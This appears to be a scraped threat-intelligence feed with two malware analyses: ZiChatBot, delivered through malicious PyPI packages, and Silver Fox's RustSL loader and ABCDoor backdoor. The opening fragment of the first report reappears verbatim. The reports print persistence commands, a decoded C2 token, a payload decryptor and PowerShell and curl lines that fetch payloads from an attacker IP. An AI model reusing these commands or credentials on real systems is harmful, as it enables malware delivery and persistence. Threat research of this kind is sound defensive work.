The shellcode employs a djb2-like hash method to calculate the names of certain APIs and locate their addresses. Using these APIs, it finds the dropper file with the name terminate.dll that was previously passed by the DLL before unloading and deleting it.

Linux version

The Linux version of the dropper places ZiChatBot in the path /tmp/obsHub/obs-check-update and then creates an auto-run job using crontab. Unlike the Windows version, the Linux version of ZiChatBot only consists of one ELF executable file.

system("chmod +x /tmp/obsHub/obs-check-update") 
system("echo \"5 * * * * /tmp/obsHub/obs-check-update" | crontab - ")

ZiChatBot

The Windows version of ZiChatBot is a DLL file (libcef.dll) that is loaded by the legitimate executable vcpktsvr.exe (hash: 48be833b0b0ca1ad3cf99c66dc89c3f4). The DLL contains several export functions, with the malicious code implemented in the cef_api_mash export. Once the DLL is loaded, this function is invoked by the EXE file. ZiChatBot uses the REST APIs from Zulip, a public team chat application, as its command and control server.

ZiChatBot is capable of executing shellcode received from the server and only supports this one control command. Once it runs, it initiates a series of sequential HTTP requests to the Zulip REST API.

In each HTTP request, an API authentication token is included as an HTTP header for server-side authentication, as shown below.

// Auth token:
TW9yaWFuLWJvdEBoZWxwZXIuenVsaXBjaGF0LmNvbTpVOFJFWGxJNktmOHFYQjlyUXpPUEJpSUE0YnJKNThxRw==

// Decoded Auth token
Morian-bot@helper.zulipchat.com:U8REXlI6Kf8qXB9rQzOPBiIA4brJ58qG

ZiChatBot utilizes two separate channel-topic pairs for its operations. One pair transmits current system information, and the other retrieves a message containing shellcode. Once the shellcode is received, a new thread is created to execute it. After executing the command, a heart emoji is sent in response to the original message to indicate the execution was successful.

Infrastructure

We did not find any traditional infrastructure, such as compromised servers or commercial VPS services and their associated IPs and domains. Instead, the malicious wheel packages were uploaded to the Python Package Index (PyPI), a public, shared Python library. The malware, ZiChatBot, leverages Zulip’s public team chat REST APIs as its command and control server.

The “helper” organization that the attacker had registered on the Zulip service has now been officially deactivated by Zulip. However, infected devices may still attempt to connect to the service, so to help you locate and cure them, we recommend adding the full URL helper.zulipchat.com to your denylist.

Victims

The malware was uploaded in July 2025. Upon discovering these attacks, we quickly released an update for our product to detect the relevant files and shared the necessary information with the public security community. As a result, the malicious software was swiftly removed from PyPI, and the organization registered on the Zulip service was officially deactivated. To date, we have not observed any infections based on our telemetry or public reports.

Zulip has officially deactivated the “helper” organization

Attribution

Based on the results from our KTAE system, the dropper used by ZiChatBot shows a 64% similarity to another dropper we analyzed in a TI report, which was linked to OceanLotus. Reverse engineering shows that both droppers use nearly identical algorithms and logic for to decrypt and decompress their embedded payloads.

Analysis results of dropper using KTAE system

Analysis results of dropper using KTAE system

Conclusions

As an active APT organization, OceanLotus primarily targets victims in the Asia-Pacific region. However, our previous reports have highlighted a growing trend of the group expanding its activities into the Middle East. Moreover, the attacks described in this report – executed through PyPI – target Python users worldwide. This demonstrates OceanLotus’s ongoing effort to broaden its attack scope.

In the first half of 2025, a public report revealed that the group launched a phishing campaign using GitHub. The recent PyPI-based supply chain attack likely continues this strategy. Although phishing emails are still a common initial infection method for OceanLotus, the group is also actively exploring new ways to compromise victims through diverse supply chain attacks.

Indicators of compromise

Additional information about this activity, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.

Malicious wheel packages
termncolor-3.1.0-py3-none-any.whl
5152410aeef667ffaf42d40746af4d84

uuid32_utils-1.x.x-py3-none-xxxx.whl
0a5a06fa2e74a57fd5ed8e85f04a483a
e4a0ad38fd18a0e11199d1c52751908b
5598baa59c716590d8841c6312d8349e
968782b4feb4236858e3253f77ecf4b0
b55b6e364be44f27e3fecdce5ad69eca
02f4701559fc40067e69bb426776a54f
e200f2f6a2120286f9056743bc94a49d
22538214a3c917ff3b13a9e2035ca521

colorinal-0.1.7-py3-none-xxxx.whl
ba2f1868f2af9e191ebf47a5fab5cbab

Dropper for ZiChatBot
Backward.dll
c33782c94c29dd268a42cbe03542bca5
454b85dc32dc8023cd2be04e4501f16a

Backward.so
fce65c540d8186d9506e2f84c38a57c4
652f4da6c467838957de19eed40d39da

terminate.dll
1995682d600e329b7833003a01609252

terminate.so
38b75af6cbdb60127decd59140d10640

ZiChatBot
libcef.dll
a26019b68ef060e593b8651262cbd0f6

OceanLotus suspected of using PyPI to deliver ZiChatBot malware

By: GReAT
6 May 2026 at 15:00

Introduction

Through our daily threat hunting, we noticed that, beginning in July 2025, a series of malicious wheel packages were uploaded to PyPI (the Python Package Index). We shared this information with the public security community, and the malware was removed from the repository. We submitted the samples to Kaspersky Threat Attribution Engine (KTAE) for analysis. Based on the results, we believe the packages may be linked to malware discussed in a Threat Intelligence report on OceanLotus.

While these wheel packages do implement the features described on their PyPI web pages, their true purpose is to covertly deliver malicious files. These files can be either .DLL or .SO (Linux shared library), indicating the packages’ ability to target both Windows and Linux platforms. They function as droppers, delivering the final payload – a previously unknown malware family that we have named ZiChatBot. Unlike traditional malware, ZiChatBot does not communicate with a dedicated command and control (C2) server, but instead uses a series of REST APIs from the public team chat app Zulip as its C2 infrastructure.

To conceal the malicious package containing ZiChatBot, the attacker created another benign-looking package that included the malicious package as a dependency. Based on these facts, we confirm that this campaign is a carefully planned and executed PyPI supply chain attack.

Technical details

Spreading

The attacker created three projects on PyPI and uploaded malicious wheel packages designed to imitate popular libraries, tricking users into downloading them. This is a clear example of a supply chain attack via PyPI. See below for detailed information about the fake libraries and their corresponding wheel packages.

Malicious wheel packages

The packages added by the attacker and listed on PyPI’s download pages are:

  • uuid32-utils library for generating a 32-character random string as a UUID
  • colorinal library for implementing cross-platform color terminal text
  • termncolor library for ANSI color format for terminal output

The key metadata for these packages are as follows:

Pip install command File name First upload date Author / Email
pip install uuid32-utils uuid32_utils-1.x.x-py3-none-[OS platform].whl 2025-07-16 laz**** / laz****@tutamail.com
pip install colorinal colorinal-0.1.7-py3-none-[OS platform].whl 2025-07-22 sym**** / sym****@proton.me
pip install termncolor termncolor-3.1.0-py3-none-any.whl 2025-07-22 sym**** / sym****@proton.me

Based on the distribution information on the PyPI web page, we can see that it offers X86 and X64 versions for Windows, as well as an x86_64 version for Linux. The colorinal project, for example, provides the following download options:

Distribution information of the colorinal project

Distribution information of the colorinal project

Initial infection

The uuid32-utils and colorinal libraries employ similar infection chains and malicious payloads. As a result, this analysis will focus on the colorinal library as a representative example.

A quick look at the code of the third library, termncolor, reveals no apparent malicious content. However, it imports the malicious colorinal library as a dependency. This method allows attackers to deeply conceal malware, making the termncolor library appear harmless when distributing it or luring targets.

The termncolor library imports the malicious colorinal library

The termncolor library imports the malicious colorinal library

During the initial infection stage, the Python code is nearly identical across both Windows and Linux platforms. Here, we analyze the Windows version as an example.

Windows version

Once a Python user downloads and installs the colorinal-0.1.7-py3-none-win_amd64.whl wheel package file, or installs it using the pip tool, the ZiChatBot’s dropper (a file named terminate.dll) will be extracted from the wheel package and placed on the victim’s hard drive.

After that, if the colorinal library is imported into the victim’s project, the Python script file at [Python library installation path]\colorinal-0.1.7-py3-none-win_amd64\colorinal\__init__.py will be executed first.

The __init__.py script imports the malicious file unicode.py

The __init__.py script imports the malicious file unicode.py

This Python script imports and executes another script located at [python library install path]\colorinal-0.1.7-py3-none-win_amd64\colorinal\unicode.py. The is_color_supported() function in unicode.py is called immediately.

The code loads the dropper into the host Python process

The code loads the dropper into the host Python process

The comment in the is_color_supported() function states that the highlighted code checks whether the user’s terminal environment supports color. The code actually loads the terminate.dll file into the Python process and then invokes the DLL’s exported function envir, passing the UTF-8-encoded string xterminalunicod as a parameter. The DLL acts as a dropper, delivering the final payload, ZiChatBot, and then self-deleting. At the end of the is_color_supported() function, the unicode.py script file is also removed. These steps eliminate all malicious files in the library and deploy ZiChatBot.
For the Linux platform, the wheel package and the unicode.py Python script are nearly identical to the Windows version. The only difference is that the dropper file is named “terminate.so”.

Dropper for ZiChatBot

From the previous analysis, we learned that the dropper is loaded into the host Python process by a Python script and then activated. The main logic of the dropper is implemented in the envir export function to achieve three objectives:

  1. Deploy ZiChatBot.
  2. Establish an auto-run mechanism.
  3. Execute shellcode to remove the dropper file (terminate.dll) and the malicious script file from the installed library folder.

The dropper first decrypts sensitive strings using AES in CBC mode. The key is the string-type parameter “xterminalunicode” of the exported function. The decrypted strings are “libcef.dll”, “vcpacket”, “pkt-update”, and “vcpktsvr.exe”.

Next, the malware uses the same algorithm to decrypt the embedded data related to ZiChatBot. It then decompresses the decrypted data with LZMA to retrieve the files vcpktsvr.exe and libcef.dll associated with ZiChatBot. The malware creates a folder named vcpacket in the system directory %LOCALAPPDATA%, and places these files into it.

To establish persistence for ZiChatBot, the dropper creates the following auto-run entry in the registry:

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"pkt-update"="C:\Users\[User name]\AppData\Local\vcpacket\vcpktsvr.exe"

Once preparations are complete, the malware uses the XOR algorithm to decrypt the embedded shellcode with the three-byte key 3a7. It then searches the decrypted shellcode’s memory for the string Policy.dllcppage.dll and replaces it with its own file name, terminate.dll, and redirects execution to the shellcode’s memory space.

The shellcode employs a djb2-like hash method to calculate the names of certain APIs and locate their addresses. Using these APIs, it finds the dropper file with the name terminate.dll that was previously passed by the DLL before unloading and deleting it.

Linux version

The Linux version of the dropper places ZiChatBot in the path /tmp/obsHub/obs-check-update and then creates an auto-run job using crontab. Unlike the Windows version, the Linux version of ZiChatBot only consists of one ELF executable file.

system("chmod +x /tmp/obsHub/obs-check-update") 
system("echo \"5 * * * * /tmp/obsHub/obs-check-update" | crontab - ")

ZiChatBot

The Windows version of ZiChatBot is a DLL file (libcef.dll) that is loaded by the legitimate executable vcpktsvr.exe (hash: 48be833b0b0ca1ad3cf99c66dc89c3f4). The DLL contains several export functions, with the malicious code implemented in the cef_api_mash export. Once the DLL is loaded, this function is invoked by the EXE file. ZiChatBot uses the REST APIs from Zulip, a public team chat application, as its command and control server.

ZiChatBot is capable of executing shellcode received from the server and only supports this one control command. Once it runs, it initiates a series of sequential HTTP requests to the Zulip REST API.

In each HTTP request, an API authentication token is included as an HTTP header for server-side authentication, as shown below.

// Auth token:
TW9yaWFuLWJvdEBoZWxwZXIuenVsaXBjaGF0LmNvbTpVOFJFWGxJNktmOHFYQjlyUXpPUEJpSUE0YnJKNThxRw==

// Decoded Auth token
Morian-bot@helper.zulipchat.com:U8REXlI6Kf8qXB9rQzOPBiIA4brJ58qG

ZiChatBot utilizes two separate channel-topic pairs for its operations. One pair transmits current system information, and the other retrieves a message containing shellcode. Once the shellcode is received, a new thread is created to execute it. After executing the command, a heart emoji is sent in response to the original message to indicate the execution was successful.

Infrastructure

We did not find any traditional infrastructure, such as compromised servers or commercial VPS services and their associated IPs and domains. Instead, the malicious wheel packages were uploaded to the Python Package Index (PyPI), a public, shared Python library. The malware, ZiChatBot, leverages Zulip’s public team chat REST APIs as its command and control server.

The “helper” organization that the attacker had registered on the Zulip service has now been officially deactivated by Zulip. However, infected devices may still attempt to connect to the service, so to help you locate and cure them, we recommend adding the full URL helper.zulipchat.com to your denylist.

Victims

The malware was uploaded in July 2025. Upon discovering these attacks, we quickly released an update for our product to detect the relevant files and shared the necessary information with the public security community. As a result, the malicious software was swiftly removed from PyPI, and the organization registered on the Zulip service was officially deactivated. To date, we have not observed any infections based on our telemetry or public reports.

Zulip has officially deactivated the “helper” organization

Attribution

Based on the results from our KTAE system, the dropper used by ZiChatBot shows a 64% similarity to another dropper we analyzed in a TI report, which was linked to OceanLotus. Reverse engineering shows that both droppers use nearly identical algorithms and logic for to decrypt and decompress their embedded payloads.

Analysis results of dropper using KTAE system

Analysis results of dropper using KTAE system

Conclusions

As an active APT organization, OceanLotus primarily targets victims in the Asia-Pacific region. However, our previous reports have highlighted a growing trend of the group expanding its activities into the Middle East. Moreover, the attacks described in this report – executed through PyPI – target Python users worldwide. This demonstrates OceanLotus’s ongoing effort to broaden its attack scope.

In the first half of 2025, a public report revealed that the group launched a phishing campaign using GitHub. The recent PyPI-based supply chain attack likely continues this strategy. Although phishing emails are still a common initial infection method for OceanLotus, the group is also actively exploring new ways to compromise victims through diverse supply chain attacks.

Indicators of compromise

Additional information about this activity, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.

Malicious wheel packages
termncolor-3.1.0-py3-none-any.whl
5152410aeef667ffaf42d40746af4d84

uuid32_utils-1.x.x-py3-none-xxxx.whl
0a5a06fa2e74a57fd5ed8e85f04a483a
e4a0ad38fd18a0e11199d1c52751908b
5598baa59c716590d8841c6312d8349e
968782b4feb4236858e3253f77ecf4b0
b55b6e364be44f27e3fecdce5ad69eca
02f4701559fc40067e69bb426776a54f
e200f2f6a2120286f9056743bc94a49d
22538214a3c917ff3b13a9e2035ca521

colorinal-0.1.7-py3-none-xxxx.whl
ba2f1868f2af9e191ebf47a5fab5cbab

Dropper for ZiChatBot
Backward.dll
c33782c94c29dd268a42cbe03542bca5
454b85dc32dc8023cd2be04e4501f16a

Backward.so
fce65c540d8186d9506e2f84c38a57c4
652f4da6c467838957de19eed40d39da

terminate.dll
1995682d600e329b7833003a01609252

terminate.so
38b75af6cbdb60127decd59140d10640

ZiChatBot
libcef.dll
a26019b68ef060e593b8651262cbd0f6

Silver Fox uses the new ABCDoor backdoor to target organizations in Russia and India

In December 2025, we detected a wave of malicious emails designed to look like official correspondence from the Indian tax service. A few weeks later, in January 2026, a similar campaign began targeting Russian organizations. We have attributed this activity to the Silver Fox threat group.

Both waves followed a nearly identical structure: phishing emails were styled as official notices regarding tax audits or prompted users to download an archive containing a “list of tax violations”. Inside the archive was a modified Rust-based loader pulled from a public repository. This loader would download and execute the well-known ValleyRAT backdoor. The campaign impacted organizations across the industrial, consulting, retail, and transportation sectors, with over 1600 malicious emails recorded between early January and early February.

During our investigation, we also discovered that the attackers were delivering a new ValleyRAT plugin to victim devices, which functioned as a loader for a previously undocumented Python-based backdoor. We have named this backdoor ABCDoor. Retrospective analysis reveals that ABCDoor has been part of the Silver Fox arsenal since at least late 2024 and has been utilized in real-world attacks from the first quarter of 2025 to the present day.

Email campaign

In the January campaign, victims received an email purportedly from the tax service with an attached PDF file.

Phishing email sent to victims in Russia

Phishing email sent to victims in Russia

The PDF contained two clickable links to download an archive, both leading to a malicious website: abc.haijing88[.]com/uploads/фнс/фнс.zip.

Contents of the PDF file from the January phishing wave

Contents of the PDF file from the January phishing wave

Contents of the фнс.zip archive

Contents of the фнс.zip archive

In the December campaign, the malicious code was embedded directly within the files attached to the email.

Phishing email sent to victims in India

Phishing email sent to victims in India

The email shown in the screenshot above was sent via the SendGrid cloud platform and contained an archive named ITD.-.rar. Inside was a single executable file, Click File.exe, with an Adobe PDF icon (the RustSL loader).

Contents of ITD.-.rar

Contents of ITD.-.rar

Additionally, in late December, emails were distributed with an attachment titled GST.pdf containing two links leading to hxxps://abc.haijing88[.]com/uploads/印度邮箱/CBDT.rar. (印度邮箱 translates from Chinese as “Indian mailbox”).

PDF file from the phishing email

PDF file from the phishing email

Both versions of the campaign attempt to exploit the perceived importance of tax authority correspondence to convince the victim to download the document and initiate the attack chain. The method of using download links within a PDF is specifically designed to bypass email security gateways; since the attached document only contains a link that requires further analysis, it has a higher probability of reaching the recipient compared to an attachment containing malicious code.

RustSL loader

The attackers utilized a modified version of a Rust-based loader called RustSL, whose source code is publicly available on GitHub with a description in Chinese:

Screenshot of the description from the RustSL loader GitHub project

Screenshot of the description from the RustSL loader GitHub project

The description also refers to RustSL as an antivirus bypass framework, as it features a builder with extensive customization options:

  • Eight payload encryption methods
  • Thirteen memory allocation methods
  • Twelve sandbox and virtual machine detection techniques
  • Thirteen payload execution methods
  • Five payload encoding methods

Furthermore, the original version of RustSL encrypts all strings by default and inserts junk instructions to complicate analysis.

The Silver Fox APT group first began using a modified version of RustSL in late December 2025.

Silver Fox RustSL

This section examines the key changes the Silver Fox group introduced to RustSL. We will refer to this customized version as Silver Fox RustSL to distinguish it from the original.

The steganography.rs module

The attackers added a module named steganography.rs to RustSL. Despite the name, it has little to do with actual steganography; instead, it implements the unpacking logic for the malicious payload.

The usage of the new module within the Silver Fox RustSL code

The usage of the new module within the Silver Fox RustSL code

The threat actors also modified the RustSL builder to support the new format and payload packing.

The attackers employed several methods to deliver the encrypted malicious payload. In December, we observed files being downloaded from remote hosts followed by delivery within the loader itself. Later, the attackers shifted almost entirely to placing the malicious payload inside the same archive as the loader, disguised as a standalone file with extensions like PNG, HTM, MD, LOG, XLSX, ICO, CFG, MAP, XML, or OLD.

Encrypted malicious payload format

The encrypted payload file delivered by the Silver Fox RustSL loader followed this structure:

<RSL_START>rsl_encrypted_payload<RSL_END>

If additional payload encoding was selected in the builder, the loader would decode the data before proceeding with decryption.

The rsl_encrypted_payload followed this specific format:

char sha256_hash[32]; // decrypted payload hash
DWORD enc_payload_len;
WORD sgn_decoder_size;
char sgn_iterations;
char sgn_key;
char decoder[sgn_decoder_size];
char enc_payload[enc_payload_len];

Below is a description of the data blocks contained within it:

  • sha256_hash: the hash of the decrypted payload. After decryption, the loader calculates the SHA256 hash and compares it against this value; if they do not match, the process terminates.
  • enc_payload_len: the size of the encrypted payload
  • sgn_iterations and sgn_key: parameters used for decryption
  • sgn_decoder_size and decoder: unused fields
  • enc_payload: the primary payload

Notably, the new proprietary steganography.rs module was implemented using the same logic as the public RustSL modules (such as ipv4.rs, ipv6.rs, mac.rs, rc4.rs, and uuid.rs in the decrypt directory). It utilized a similar payload structure where the first 32 bytes consist of a SHA-256 hash and the payload size.

To decrypt the malicious payload, steganography.rs employed a custom XOR-based algorithm. Below is an equivalent implementation in Python:

def decrypt(data: bytes, sgn_key: int, sgn_iterations: int) -> bytes:
    buf = bytearray(data)
    xor_key = sgn_key & 0xFF

    for _ in range(sgn_iterations):
        k = xor_key
        for i in range(len(buf)):
            dec = buf[i] ^ k

            if k & 1:
                k = (dec ^ ((k >> 1) ^ 0xB8)) & 0xFF
            else:
                k = (dec ^ (k >> 1)) & 0xFF

            buf[i] = dec

    return bytes(buf)

The unpacking process consists of the following stages:

  1. Extraction of rsl_encrypted_payload.The loader extracts the encrypted payload body located between the <RSL_START> and <RSL_END> markers.

    Original file containing the encrypted malicious payload

    Original file containing the encrypted malicious payload

  2. XOR decryption with a hardcoded key.Most loaders used the hardcoded key RSL_STEG_2025_KEY.
  3. Payload decoding occurs if the corresponding setting was enabled in the builder.The GitHub version of the builder offers several encoding options: Base64, Base32, Hex, and urlsafe_base64. Silver Fox utilized each option at least once. Base64 was the most frequent choice, followed by Hex and Base32, with urlsafe_base64 appearing in a few samples.

    Encrypted malicious payload prior to the final decryption stage

    Encrypted malicious payload prior to the final decryption stage

  4. Decryption of the final payload using a multi-pass XOR algorithm that modifies the key after each iteration (as demonstrated in the Python algorithm provided above).

The guard.rs module

Another module added to Silver Fox RustSL is guard.rs. It implements various environment checks and country-based geofencing.

In the earliest loader samples from late December 2025, the Silver Fox group utilized every available method for detecting virtual machines and sandboxes, while also verifying if the device was located in a target country. In later versions, the group retained only the geolocation check; however, they expanded both the list of countries allowed for execution and the services used for verification.

The GitHub version of the loader only includes China in its country list. In customized Silver Fox loaders built prior to January 19, 2026, this list included India, Indonesia, South Africa, Russia, and Cambodia. Starting with a sample dated January 19, 2026 (MD5: e6362a81991323e198a463a8ce255533), Japan was added to the list.

To determine the host country, Silver Fox RustSL sends requests to five public services:

  • ip-api.com (the GitHub version relies solely on this service)
  • ipwho.is
  • ipinfo.io
  • ipapi.co
  • www.geoplugin.net

Phantom Persistence

We discovered that a loader compiled on January 7, 2026 (MD5: 2c5a1dd4cb53287fe0ed14e0b7b7b1b7), began to use the recently documented Phantom Persistence technique to establish persistence. This method abuses functionality designed to allow applications requiring a reboot for updates to complete the installation process properly. The attackers intercept the system shutdown signal, halt the normal shutdown sequence, and trigger a reboot under the guise of an update for the malware. Consequently, the loader forces the system to execute it upon OS startup. This specific sample was compiled in debug mode and logged its activity to rsl_debug.log, where we identified strings corresponding to the implementation of the Phantom Persistence technique:

[unix_timestamp] God-Tier Telemetry Blinding: Deployed via HalosGate Indirect Syscalls.
[unix_timestamp] RSL started in debug mode.
[unix_timestamp] ==========================================
[unix_timestamp]     Phantom Persistence Module (Hijack Mode) 
[unix_timestamp] ==========================================
[unix_timestamp] [*] Calling RegisterApplicationRestart...
[unix_timestamp] [+] RegisterApplicationRestart succeeded.
[unix_timestamp] [*] Note: This API mainly works for application crashes, not for user-initiated shutdowns.
[unix_timestamp] [*] For full persistence, you need to trigger the shutdown hijack logic.
[unix_timestamp] [*] Starting message thread to monitor shutdown events...
[unix_timestamp] [+] SetProcessShutdownParameters (0x4FF) succeeded.
[unix_timestamp] [+] Window created successfully, message loop started.
[unix_timestamp] [+] Phantom persistence enabled successfully.
[unix_timestamp] [*] Hijack logic: Shutdown signal -> Abort shutdown -> Restart with EWX_RESTARTAPPS.
[unix_timestamp] Phantom persistence enabled.
[unix_timestamp] Mouse movement check passed.
[unix_timestamp] IP address check passed.
[unix_timestamp] Pass Sandbox/VM detection.

Attack chain and payloads

During this phishing campaign, Silver Fox utilized two primary methods for delivering malicious archives:

  • As an email attachment
  • Via a link to an external attacker-controlled website contained within a PDF attachment

We also observed three different ways the payload was positioned relative to the loader:

  • Embedded within the loader body
  • Hosted on an external website as a PNG image
  • Placed within the same archive as the loader

The diagram below illustrates the attack chain using the example of an email containing a PDF file and the subsequent delivery of a malicious payload from an external attacker-controlled website.

Attack chain of the campaign utilizing the RustSL loader

Attack chain of the campaign utilizing the RustSL loader

The infection chain begins when the user runs an executable file (the Silver Fox modification of the RustSL loader) disguised with a PDF or Excel icon. RustSL then loads an encrypted payload, which functions as shellcode. This shellcode then downloads an encrypted ValleyRAT (also known as Winos 4.0) backdoor module named 上线模块.dll from the attackers’ server. The filename translates from Chinese as “online-module.dll”, so for the sake of clarity, we’ll refer to it as the Online module.

Beginning of the decrypted payload: shellcode for loading the ValleyRAT (Winos 4.0) Online module

Beginning of the decrypted payload: shellcode for loading the ValleyRAT (Winos 4.0) Online module

The Online module proceeds to load the core component of ValleyRAT: the Login module (the original filename 登录模块.dll_bin translates from Chinese as “login-module.dll_bin”). This module manages C2 server communication, command execution, and the downloading and launching of additional modules.

The initial shellcode, as well as the Online and Login modules, utilize a configuration located at the end of the shellcode:

End of the decrypted payload: ValleyRAT (Winos 4.0) configuration

End of the decrypted payload: ValleyRAT (Winos 4.0) configuration

The values between the “|” delimiters are written in reverse order. By restoring the correct character sequence, we obtain the following string:

|p1:207.56.138[.]28|o1:6666|t1:1|p2:127.0.0.1|o2:8888|t2:1|p3:127.0.0.1|o3:80|t3:1|dd:1|cl:1|fz:飘诈|bb:1.0|bz:2025.11.16|jp:0|bh:0|ll:0|dl:0|sh:0|kl:0|bd:0|

The key configuration parameters in this string are:

  • p#, o#: IP addresses and ports of the ValleyRAT C2 servers in descending order of priority
  • bz: the creation date of the configuration

The Silver Fox group has long employed the infection chain described above – from the encrypted shellcode through the loading of the Login module – to deploy ValleyRAT. This procedure and its configuration parameters are documented in detail in industry reports: (1, 2, and 3).

Once the Login module is running, ValleyRAT enters command-processing mode, awaiting instructions from the C2. These commands include the retrieval and execution of various additional modules.

ValleyRAT utilizes the registry to store its configurations and modules:

Registry key Description
HKCU:\Console\0 For x86-based modules
HKCU:\Console\1 For x64-based modules
HKCU:\Console\IpDate Hardcoded registry location checked upon Login module startup
HKCU:\Software\IpDates_info Final configuration

The ValleyRAT builder leaked in March 2025 contained 20 primary and over 20 auxiliary modules. During this specific phishing campaign, we discovered that after the main module executed, it loaded two previously unseen modules with similar functionality. These modules were responsible for downloading and launching a previously undocumented Python-based backdoor we have dubbed ABCDoor.

Custom ValleyRAT modules

The discovered modules are named 保86.dll and 保86.dll_bin. Their parameters are detailed in the table below.

HKCU:\Console\0 registry key value Module name Library MD5 hash Compiled date and time (UTC)
fc546acf1735127db05fb5bc354093e0 保86.dll 4a5195a38a458cdd2c1b5ab13af3b393 2025-12-04 04:34:31
fc546acf1735127db05fb5bc354093e0 保86.dll e66bae6e8621db2a835fa6721c3e5bbe 2025-12-04 04:39:32
2375193669e243e830ef5794226352e7 保86.dll_bin e66bae6e8621db2a835fa6721c3e5bbe 2025-12-04 04:39:32

Of particular note is the PDB path found in all identified modules: C:\Users\Administrator\Desktop\bat\Release\winos4.0测试插件.pdb. In Chinese, 测试插件 translates to “test plugin”, which may suggest that these modules are still in development.

Upon execution, the 保86.dll module determines the host country by querying the same five services used by the guard.rs module in Silver Fox RustSL: ipinfo.io, ip-api.com, ipapi.co, ipwho.is, and geoplugin.net. For the module to continue running, the infected device must be located in one of the following countries:

Countries where the 保86.dll module functions

Countries where the 保86.dll module functions

If the geolocation check passes, the module attempts to download a 52.5 MB archive from a hardcoded address using several methods. The sample with MD5 4a5195a38a458cdd2c1b5ab13af3b393 queried hxxp://154.82.81[.]205/YD20251001143052.zip, while the sample with MD5 e66bae6e8621db2a835fa6721c3e5bbe queried
hxxp://154.82.81[.]205/YN20250923193706.zip.

Interestingly, Silver Fox updated the YD20251001143052.zip archive multiple times but continued to host it on the same C2 (154.82.81[.]205) without changing the filename.

The module implements the following download methods:

  1. Using the InternetReadFile function with the User-Agent PythonDownloader
  2. Using the URLDownloadToFile function
  3. Using PowerShell:
    powershell.exe -Command "& {[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $ProgressPreference = 'SilentlyContinue'; try { Invoke-WebRequest -Uri 'hxxp://154.82.81[.]205/YD20251001143052.zip' -OutFile '$appdata\appclient\111.zip' -UseBasicParsing -TimeoutSec 600 } catch { exit 1 } }"
  4. Using curl:
    curl.exe -L -o "%LOCALAPPDATA%\appclient\111.zip" "hxxp://154.82.81[.]205/YD20251001143052.zip" --silent --show-error --insecure --max-time 600

The archive was saved to the path %LOCALAPPDATA%\appclient\111.zip.

Contents of the 111.zip archive

Contents of the 111.zip archive

The archive is quite large because the python directory contains a Python environment with the packages required to run the previously unknown ABCDoor backdoor (which we will describe in the next section), while the ffmpeg directory includes ffmpeg.exe, a statically linked, legitimate audio/video tool that the backdoor uses for screen capturing.

Once downloaded, the DLL module extracts the archive using COM methods and runs the following command to execute update.bat:

cmd.exe /c "C:\Users\<user>\AppData\Local\appclient\update.bat"

The update.bat script copies the extracted files to C:\ProgramData\Tailscale. This path was chosen intentionally: it corresponds to the legitimate utility Tailscale (a mesh VPN service based on the WireGuard protocol that connects devices into a single private network). By mimicking a VPN service, the attackers likely aim to mask their presence and complicate the analysis of the compromised system.

@echo off
set "script_dir=%~dp0"
set SRC_DIR=%script_dir%
set DES_DIR=C:\ProgramData\Tailscale

rmdir /s /q "%DES_DIR%"
mkdir "%DES_DIR%"
call :recursiveCopy "%SRC_DIR%" "%DES_DIR%"

start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient
exit /b

:recursiveCopy
set "src=%~1"
set "dest=%~2"
if not exist "%dest%" mkdir "%dest%"
for %%F in ("%src%\*") do (
    copy "%%F" "%dest%" >nul
)
for /d %%D in ("%src%\*") do (
    call :recursiveCopy "%%D" "%dest%\%%~nxD"
)
exit /b

Contents of update.bat
After copying the files, the script launches the appclient Python module using the legitimate pythonw tool:
start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient

ABCDoor Python backdoor

The primary entry point for the appclient module, the __main__.py file, contains only a few lines of code. These lines are responsible for utilizing the setproctitle library and executing the run function, to which the C2 address is passed as a parameter.

Code for main.py: the module entry point

Code for main.py: the module entry point

The setproctitle library is primarily used on Linux or macOS systems to change a displayed process name. However, its functionality is significantly limited on Windows; rather than changing the process name itself, it creates a named object in the format python(<pid>): <proctitle>. For example, for the appclient module, this object would appear as follows:

\Sessions\1\BaseNamedObjects\python(8544): AppClientABC

We believe the use of setproctitle may indicate the existence of backdoor versions for non-Windows systems, or at least plans to deploy it in such environments.

The appclient.core module has a PYD extension and is a DLL file compiled with Cython 3.0.7. This is the core module of the backdoor, which we have named ABCDoor because nearly all identified C2 addresses featured the third-level domain abc.

Upon execution, the backdoor establishes persistence in the following locations:

  1. Windows registry: It adds "<path_to_pythonw.exe>" -m appclient to the value HKCU:\Software\Microsoft\Windows\CurrentVersion\Run:AppClient, e.g:
    "C:\Users\&lt;username&gt;\AppData\Local\appclient\python\pythonw.exe" -m appclient

    Persistence is established by executing the following command:
    cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AppClient" /t REG_SZ /d "\"<path_to_pythonw.exe>\" -m appclient" /f"
  2. Task scheduler: The malware executes
    cmd.exe /c "schtasks /create /sc minute /mo 1 /tn "AppClient" /tr "<path_to_pythonw.exe> -m appclient" /f"

The command creates a task named “AppClient” that runs every minute.

The backdoor is built on the asyncio and Socket.IO Python libraries. It communicates with its C2 via HTTPS and uses event handlers to processes messages asynchronously. The backdoor follows object-oriented programming principles and includes several distinct classes:

  • MainManager: handles C2 connection and authorization (sending system metadata)
  • MessageManager: registers and executes message handlers
  • AutoStartManager: manages backdoor persistence
  • ClientManager: handles backdoor updates and removal
  • SystemInfoManager: collects data from the victim’s system, including screenshots
  • RemoteControlManager: enables remote mouse and keyboard control via the pynput library and manages screen recording (using the ScreenRecorder child class)
  • FileManager: performs file system operations
  • KeyboardManager: emulates keyboard input
  • ProcessManager: manages system processes
  • ClipboardManager: exfiltrates clipboard contents to the C2
  • CryptoManager: provides functions for encrypting and decrypting files and directories (currently limited to DPAPI; asymmetric encryption functions lack implementation)
  • Utils: auxiliary functions (file upload/download, archive management, error log uploading, etc.)
Backdoor strings with characteristic names

Backdoor strings with characteristic names

Upon connecting, ABCDoor sends an auth message to the C2 with the following information in JSON format:

"role": "client",
"device_info": {
	 "device_name": device_name,
 	"os_name": os_name,
	"os_version": os_version,
	"os_release": os_release,
